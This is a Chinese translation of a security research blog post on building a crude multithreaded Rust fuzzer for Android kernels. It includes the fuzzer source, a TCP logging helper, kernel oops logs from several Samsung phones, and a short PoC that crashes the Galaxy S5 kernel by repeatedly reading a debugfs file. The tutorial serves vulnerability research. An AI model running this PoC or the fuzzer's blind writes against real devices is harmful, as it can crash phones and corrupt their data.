原文:https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html

译者注:原作者的文风比较活泼,所以,上车前,请各位做好相应的心理准备。

免责声明


请读者注意,这里讨论的安全问题并不是通用的Android漏洞,而是只影响某种型号的设备,所以,这些漏洞的危害程度都是有限的。另外,本文旨在为读者介绍如何亲自编写一个简陋的Android fuzzer,然后设法加以改进,而不是为了严肃地讨论Android的安全性问题。

代码下载地址


Slime Tree Repo

简介


在本文中,我们首先会动手打造一款简陋的Android fuzzer,然后进行改进,从而享受不断进步的喜悦之情。

在进行Android设备模糊测试时,我们需要做的第一件事就是获取手机上的设备列表,从而找出可以访问的设备。这很简单,对吧?为此,我们可以进入/dev目录,并运行ls -l命令,然后,从中查找所有用户都具有读或写权限的设备即可。嗯...对于selinux,情况并非如此,因为它还要求我们对selinux的策略有所了解才行。

为了解决这个问题,让我们先从最简单的地方下手:编写一个程序,只要求它能够在要挖掘漏洞的上下文中运行即可。该程序的功能非常简单,列出手机上的所有文件,并尝试打开它们,以进行读写操作。这样,我们就能得到一个列表,其中包含了我们在手机上有权打开的所有文件/设备。在本文中,我们将使用adb shell,因此,我们是在u:r:shell:s0上下文中运行。

遍历所有文件


好吧,我想要快速遍历手机上的所有文件,并判断自己是否对其具有读写权限。这件事情并不太难,完全可以通过Rust来实现。

/// Recursively list all files starting at the path specified by `dir`, saving
/// all files to `output_list`
fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
    // List the directory
    let list = std::fs::read_dir(dir);

    if let Ok(list) = list {
        // Go through each entry in the directory, if we were able to list the
        // directory safely
        for entry in list {
            if let Ok(entry) = entry {
                // Get the path representing the directory entry
                let path = entry.path();

                // Get the metadata and discard errors
                if let Ok(metadata) = path.symlink_metadata() {
                    // Skip this file if it's a symlink
                    if metadata.file_type().is_symlink() {
                        continue;
                    }

                    // Recurse if this is a directory
                    if metadata.file_type().is_dir() {
                        listdirs(&path, output_list);
                    }

                    // Add this to the directory listing if it's a file
                    if metadata.file_type().is_file() {
                        let can_read =
                            OpenOptions::new().read(true).open(&path).is_ok();

                        let can_write =
                            OpenOptions::new().write(true).open(&path).is_ok();

                        output_list.push((path, can_read, can_write));
                    }
                }
            }
        }
    }
}

对吧,这的确很简单。为了得到手机中完整的目录列表,我们可以借助下列代码:

// List all files on the system
let mut dirlisting = Vec::new();
listdirs(Path::new("/"), &mut dirlisting);

模糊测试


现在,我们已经能够获得包含所有文件的列表了。接下来,我们就可以通过手动方式来考察列表,并进行相应的源代码审核了。这种方法当然可以挖掘出手机中的安全漏洞,但问题是,我们能否让这个过程实现自动化呢?

如果我们想要直接对文件进行读写尝试的话,该怎么办呢?由于我们这些文件一无所知,所以,我们不妨直接写入一些合理大小的随机数据。

// List all files on the system
let mut listing = Vec::new();
listdirs(Path::new("/"), &mut listing);

// Fuzz buffer
let mut buf = [0x41u8; 8192];

// Fuzz forever
loop {
    // Pick a random file
    let rand_file = rand::random::<usize>() % listing.len();
    let (path, can_read, can_write) = &listing[rand_file];

    print!("{:?}\n", path);

    if *can_read {
        // Fuzz by reading
        let fd = OpenOptions::new().read(true).open(path);

        if let Ok(mut fd) = fd {
            let fuzz_size = rand::random::<usize>() % buf.len();
            let _ = fd.read(&mut buf[..fuzz_size]);
        }
    }

    if *can_write {
        // Fuzz by writing
        let fd = OpenOptions::new().write(true).open(path);
        if let Ok(mut fd) = fd {
            let fuzz_size = rand::random::<usize>() % buf.len();
            let _ = fd.write(&buf[..fuzz_size]);
        }
    }
}

当运行上述代码时,它几乎会立即停止,并且通常是“挂在”/sys/kernel/debug/tracing/per_cpu/cpu1/trace_pipe之类的东西上。一般情况下,手机上会有许多sysfs和procfs文件,当代码试图读取它们时,就会被永远挂起。由于这会阻止“fuzzer”继续运行,所以,我们需要设法绕过这个障碍。

但是,如果我们有128个线程的话,结果会如何呢?当然,某些线程肯定会被挂起,但是,至少有些线程还能多坚持一会,对吧?以下是完整的程序:

extern crate rand;

use std::sync::Arc;
use std::fs::OpenOptions;
use std::io::{Read, Write};
use std::path::{Path, PathBuf};

/// Maximum number of threads to fuzz with
const MAX_THREADS: u32 = 128;

/// Recursively list all files starting at the path specified by `dir`, saving
/// all files to `output_list`
fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
    // List the directory
    let list = std::fs::read_dir(dir);

    if let Ok(list) = list {
        // Go through each entry in the directory, if we were able to list the
        // directory safely
        for entry in list {
            if let Ok(entry) = entry {
                // Get the path representing the directory entry
                let path = entry.path();

                // Get the metadata and discard errors
                if let Ok(metadata) = path.symlink_metadata() {
                    // Skip this file if it's a symlink
                    if metadata.file_type().is_symlink() {
                        continue;
                    }

                    // Recurse if this is a directory
                    if metadata.file_type().is_dir() {
                        listdirs(&path, output_list);
                    }

                    // Add this to the directory listing if it's a file
                    if metadata.file_type().is_file() {
                        let can_read =
                            OpenOptions::new().read(true).open(&path).is_ok();

                        let can_write =
                            OpenOptions::new().write(true).open(&path).is_ok();

                        output_list.push((path, can_read, can_write));
                    }
                }
            }
        }
    }
}

/// Fuzz thread worker
fn worker(listing: Arc<Vec<(PathBuf, bool, bool)>>) {
    // Fuzz buffer
    let mut buf = [0x41u8; 8192];

    // Fuzz forever
    loop {
        let rand_file = rand::random::<usize>() % listing.len();
        let (path, can_read, can_write) = &listing[rand_file];

        //print!("{:?}\n", path);

        if *can_read {
            // Fuzz by reading
            let fd = OpenOptions::new().read(true).open(path);

            if let Ok(mut fd) = fd {
                let fuzz_size = rand::random::<usize>() % buf.len();
                let _ = fd.read(&mut buf[..fuzz_size]);
            }
        }

        if *can_write {
            // Fuzz by writing
            let fd = OpenOptions::new().write(true).open(path);
            if let Ok(mut fd) = fd {
                let fuzz_size = rand::random::<usize>() % buf.len();
                let _ = fd.write(&buf[..fuzz_size]);
            }
        }
    }
}

fn main() {
    // Optionally daemonize so we can swap from an ADB USB cable to a UART
    // cable and let this continue to run
    //daemonize();

    // List all files on the system
    let mut dirlisting = Vec::new();
    listdirs(Path::new("/"), &mut dirlisting);

    print!("Created listing of {} files\n", dirlisting.len());

    // We wouldn't do anything without any files
    assert!(dirlisting.len() > 0, "Directory listing was empty");

    // Wrap it in an `Arc`
    let dirlisting = Arc::new(dirlisting);

    // Spawn fuzz threads
    let mut threads = Vec::new();
    for _ in 0..MAX_THREADS {
        // Create a unique arc reference for this thread and spawn the thread
        let dirlisting = dirlisting.clone();
        threads.push(std::thread::spawn(move || worker(dirlisting)));
    }

    // Wait for all threads to complete
    for thread in threads {
        let _ = thread.join();
    }
}

extern {
    fn daemon(nochdir: i32, noclose: i32) -> i32;
}

pub fn daemonize() {
    print!("Daemonizing\n");

    unsafe {
        daemon(0, 0);
    }

    // Sleep to allow a physical cable swap
    std::thread::sleep(std::time::Duration::from_secs(10));
}

对于上述代码,它们会遍历手机内所有目录,从而得到一个完整的目录列表,然后启动MAX_THREADS个线程,这些线程将不断地随机选择要读写的文件。

好了,现在我们已经打造了一款“世界级”的Android内核fuzzer,接下来,看看能否用它找到一些0-day漏洞!

首先,让我们在三星Galaxy S8 (G950FXXU4CRI5)上运行这个程序,然后,从手机中读取/proc/last_kmsg文件,看看我们是如何让它崩溃的:

Unable to handle kernel paging request at virtual address 00662625
sec_debug_set_extra_info_fault = KERN / 0x662625
pgd = ffffffc0305b1000
[00662625] *pgd=00000000b05b7003, *pud=00000000b05b7003, *pmd=0000000000000000
Internal error: Oops: 96000006 [#1] PREEMPT SMP
exynos-snapshot: exynos_ss_get_reason 0x0 (CPU:1)
exynos-snapshot: core register saved(CPU:1)
CPUMERRSR: 0000000002180488, L2MERRSR: 0000000012240160
exynos-snapshot: context saved(CPU:1)
exynos-snapshot: item - log_kevents is disabled
TIF_FOREIGN_FPSTATE: 0, FP/SIMD depth 0, cpu: 0
CPU: 1 MPIDR: 80000101 PID: 3944 Comm: Binder:3781_3 Tainted: G        W       4.4.111-14315050-QB19732135 #1
Hardware name: Samsung DREAMLTE EUR rev06 board based on EXYNOS8895 (DT)
task: ffffffc863c00000 task.stack: ffffffc863938000
PC is at kmem_cache_alloc_trace+0xac/0x210
LR is at binder_alloc_new_buf_locked+0x30c/0x4a0
pc : [<ffffff800826f254>] lr : [<ffffff80089e2e50>] pstate: 60000145
sp : ffffffc86393b960
[<ffffff800826f254>] kmem_cache_alloc_trace+0xac/0x210
[<ffffff80089e2e50>] binder_alloc_new_buf_locked+0x30c/0x4a0
[<ffffff80089e3020>] binder_alloc_new_buf+0x3c/0x5c
[<ffffff80089deb18>] binder_transaction+0x7f8/0x1d30
[<ffffff80089e0938>] binder_thread_write+0x8e8/0x10d4
[<ffffff80089e11e0>] binder_ioctl_write_read+0xbc/0x2ec
[<ffffff80089e15dc>] binder_ioctl+0x1cc/0x618
[<ffffff800828b844>] do_vfs_ioctl+0x58c/0x668
[<ffffff800828b980>] SyS_ioctl+0x60/0x8c
[<ffffff800815108c>] __sys_trace_return+0x0/0x4

太棒了,竟然解除了对地址00662625的引用,这可是我最喜欢的内核地址!看起来,这里的崩溃是某种形式的堆损坏所致。我们大概率能够利用这个漏洞,特别是如果我们能够映射到0x00662625处的好,我们就能够从用户空间来控制内核空间中的对象了。这种特定的bug已经很少见了,不过,大家可以在“耻辱墙”部分找到各种具有针对性的POC。

“fuzzer”的应用技巧


虽然这个fuzzer看起来非常简单,但是掌握下列技巧,对于我们来说还是非常有帮助的。

技巧集:

使用上面的技巧,我几乎可以让这个fuzzer在我4年中用过的所有手机上正常运行,不过,随着selinux策略规则越来越严格,将来的成功的机会将会越来越少。

下一款设备


好的,上面我们一家尝试了最新的Galaxy S8,接下来,让我们看看这个fuzzer在老款Galaxy S5(G900FXXU1CRH1)手机上的表现如何。实际上,这里会崩溃地更快。但是,当我们尝试读取/proc/last_kmsg的时候,我们将发现该文件根本就不存在。为此,我们又在USB上尝试了带有619k电阻器的UART电缆,并对应用程序执行daemonize(),以期观察到崩溃情况。然而,就这里来说,这一招也没有奏效(老实说,不知道为什么,我虽然得到了dmesg输出,但没有找到死机日志)。

好了,现在我们遇到了一个难题,那么,接下来该如何从根本上解决这个问题呢?实际上,我们可以对文件系统进行二分查找,并将某些文件夹列入黑名单,从而进一步缩小搜索范围。废话少说,放手干吧!

首先,让我们只允许使用/sys/*,所有其他文件都将被禁止,因为这些问题根源通常位于sysfs和procfs目录中。为此,我们可以将目录列表调用改为

listdirs(Path::new("/sys"), &mut dirlisting);

哇,真的有效!崩溃得更快了,这次我们将范围限制为/sys。由此可以推断出,问题根源位于/sys中。
现在,我们将深入考察/sys,比如,我们可以先尝试/sys/devices目录……哎,这次的运气不佳。所以,还得继续尝试其他目录,比如/sys/kernel……太好了,这次成功了!

所以,我们可以将范围进一步缩小到/sys/kernel/debug目录,即使如此,这个目录中也还有85个文件夹。这个数量还是不少,所以我才不想手工完成相应的工作呢。所以,能否改进一下我们的fuzzer呢?

改进fuzzer


就目前来说,我们还不知道是操作哪些文件时导致了崩溃。不过,我们可以将其全部输出,然后利用ADB进行检查,但是当手机死机时,无法进行同步……我们需要更好的方法。

也许,我们应该通过网络发送正在进行模糊测试的文件名,然后通过一个服务来确认文件名,这样文件就不会被“触及”了,除非它们已经确认要通过网络进行报告。不过,这会不会太慢呢?这个倒是很难说,不如让我们试一试吧!

首先,使用Rust编写一个简单的服务器,让其在我们的主机上运行,然后通过adb reverse tcp:13370 tcp:13370命令,将手机通过ADB USB连接到这个服务器,这样就会把手机上指向127.0.0.1:13370端口的连接转发到运行服务器的主机上,以便记录下相应的文件名。

设计一个糟糕的协议


我们需要一个在TCP上工作的快速协议来发送文件名。为此,这个协议越简单越好:客户端发送文件名,然后服务器以“ACK”进行响应。为了保持简单起见,这里既不考虑线程问题,也不考虑文件被访问后经常出现的堆损坏问题。毕竟我们的要求并不高,只要弄出一个可用的fuzzer就行了,对吧?

use std::net::TcpListener;
use std::io::{Read, Write};

fn main() -> std::io::Result<()> {
    let listener = TcpListener::bind("0.0.0.0:13370")?;

    let mut buffer = vec![0u8; 64 * 1024];

    for stream in listener.incoming() {
        print!("Got new connection\n");

        let mut stream = stream?;

        loop {
            if let Ok(bread) = stream.read(&mut buffer) {
                // Connection closed, break out
                if bread == 0 {
                    break;
                }

                // Send acknowledge
                stream.write(b"ACK").expect("Failed to send ack");
                stream.flush().expect("Failed to flush");

                let string = std::str::from_utf8(&buffer[..bread])
                    .expect("Invalid UTF-8 character in string");
                print!("Fuzzing: {}\n", string);
            } else {
                // Failed to read, break out
                break;
            }
        }
    }

    Ok(())
}

这个服务器的代码很垃圾,但对于我们来说却刚刚好。无论如何,我们要做的是一个fuzzer,如果所有代码都完美无瑕,我们到哪里去找bug去。

客户端代码


对于手机来说,我们只要在上面实现一个简单的函数即可:

// Connect to the server we report to and pass this along to functions
// threads that need socket access
let stream = Arc::new(Mutex::new(TcpStream::connect("127.0.0.1:13370")
    .expect("Failed to open TCP connection")));

fn inform_filename(handle: &Mutex<TcpStream>, filename: &str) {
    // Report the filename
    let mut socket = handle.lock().expect("Failed to lock mutex");
    socket.write_all(filename.as_bytes()).expect("Failed to write");
    socket.flush().expect("Failed to flush");

    // Wait for an ACK
    let mut ack = [0u8; 3];
    socket.read_exact(&mut ack).expect("Failed to read ack");
    assert!(&ack == b"ACK", "Did not get ACK as expected");
}

制作黑名单


好了,现在我们有了一个日志,其中记录了我们正在模糊的所有文件,并且这些文件得到了服务器的确认,这样我们就不会丢失任何东西了。让我们将它设置为单线程模式,这样做的好处就是,我们再也不用担心竞争条件了。

我们会看到,它经常会因某些文件而“挂掉”,我们可把这些文件记录下来,以此制作黑名单。为此,需要一些“体力劳动”:通常要向这个列表中放入少量(5-10个)文件。一般来说,我会根据文件名的开头部分来制作黑名单,因此可以根据starts_with的匹配结果将整个目录列入黑名单。

继续进行模糊测试


因此,我们可以看到,在崩溃之前接触的最后一个文件是/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout

下面,我们给出一个完全独立的PoC:

use std::fs::File;
use std::io::Read;

fn thrasher() {
    // Buffer to read into
    let mut buf = [0x41u8; 8192];

    let fn = "/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout";

    loop {
        if let Ok(mut fd) = File::open(fn) {
            let _ = fd.read(&mut buf);
        }
    }
}

fn main() {
    // Make fuzzing threads
    let mut threads = Vec::new();
    for _ in 0..4 {
        threads.push(std::thread::spawn(move || thrasher()));
    }

    // Wait for all threads to exit
    for thr in threads {
        let _ = thr.join();
    }
}

多么棒的PoC啊!

下一个bug?


因此,既然我们已经找到了导致bug的根源,我们就应该将已知会导致bug的特定文件都列入黑名单,然后再试一次。因为这个bug很可能隐藏了另一个。

不,除此之外,已经没有bug了,因为按照官方的说法,S5是非常安全的,已经修复了所有的bug。

一个时代的终结


可悲的是,这个fuzzer即将成为历史。过去,它几乎适用于每部手机,即使手机启用了selinux,它仍然适用。但遗憾的是,随着时间的推移,这些bug已经隐藏到了selinux策略的背后,我们根本无法触及它们。目前,我只能说该fuzzer适用于我手头上的几部手机,而不是所有手机,令人欣慰的是,至少它在过去是行得通的。

这个fuzzer肯定还有很多待改进之处,毕竟本文的目标是打造一款“糟糕”的fuzzer,而不是一个“令人满意”的fuzzer。如果读者精力旺盛的话,可以继续鼓捣,比如:

将来,也许我会撰文介绍如何利用这些漏洞,或者从源代码中寻找问题的根源。

耻辱墙


大家可以在自己的测试手机上跑一下这个fuzzer(注意,不要在日常使用的手机上跑,这可能是一个糟糕的主意)。如果您发现任何愚蠢的错误,请一定通知我,以便将其添加到耻辱墙上。

G900F (Exynos Galaxy S5) [G900FXXU1CRH1] (August 1, 2017)


PoC


use std::fs::File;
use std::io::Read;

fn thrasher() {
    // Buffer to read into
    let mut buf = [0x41u8; 8192];

    let fn = "/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout";

    loop {
        if let Ok(mut fd) = File::open(fn) {
            let _ = fd.read(&mut buf);
        }
    }
}

fn main() {
    // Make fuzzing threads
    let mut threads = Vec::new();
    for _ in 0..4 {
        threads.push(std::thread::spawn(move || thrasher()));
    }

    // Wait for all threads to exit
    for thr in threads {
        let _ = thr.join();
    }
}

J200H (Galaxy J2) [J200HXXU0AQK2] (August 1, 2017)


不要求root权限,可以直接运行该fuzzer

[c0] Unable to handle kernel paging request at virtual address 62655726
[c0] pgd = c0004000
[c0] [62: ee456000
[c0] PC is at devres_for_each_res+0x68/0xdc
[c0] LR is at 0x62655722
[c0] pc : [<c0302848>]    lr : [<62655722>]    psr: 000d0093
sp : ee457d20  ip : 00000000  fp : ee457d54
[c0] r10: ed859210  r9 : c0c833e4  r8 : ed859338
[c0] r7 : ee456000
[c0] PC is at devres_for_each_res+0x68/0xdc
[c0] LR is at 0x62655722
[c0] pc 
        

Hacking more

...